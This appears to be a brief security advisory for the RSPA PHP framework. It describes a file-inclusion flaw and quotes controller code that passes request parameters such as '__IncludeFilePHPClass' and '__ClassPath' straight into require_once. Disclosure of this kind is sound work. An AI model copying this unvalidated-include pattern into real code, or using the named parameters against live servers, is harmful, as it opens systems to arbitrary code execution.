Description:  
Input passed to the" __IncludeFilePHPClass ", " __ClassPath" and " __class" parameters in "rspa/framework/Controller_v5.php" and " rspa/framework/Controller_v4.php " is not properly verified before being used to include files. This can be exploited to execute arbitrary PHP code by including files from local or external resources.

Vulnerable Code :  
require_once("rspaconf.inc.php");  
  
$className = $_REQUEST['__class'];  
$methordName = $_REQUEST['__methord'];  
  
// IncludeFile for PHP Class  
if ($_REQUEST['__IncludeFilePHPClass']){  
$filename = $_REQUEST['__IncludeFilePHPClass'];  
require_once ($filename);  
}  
  
// Parms  
if (isset($_REQUEST['__parameters'])){$parameter = getParms($_REQUEST['__parameters']);}else{$parameter="";}  
  
// ClassFile + ClassPath  
include ("../components/Form.class.php");  
if ($_REQUEST["__ClassPath"]=="null" || empty($_REQUEST["__ClassPath"])){  
$filename = $RSPA['class_folder'].$className.$RSPA['class_extension'];  
}else{  
$filename = $_REQUEST["__ClassPath"].$className.$RSPA['class_extension'];  
}  
require_once($filename);
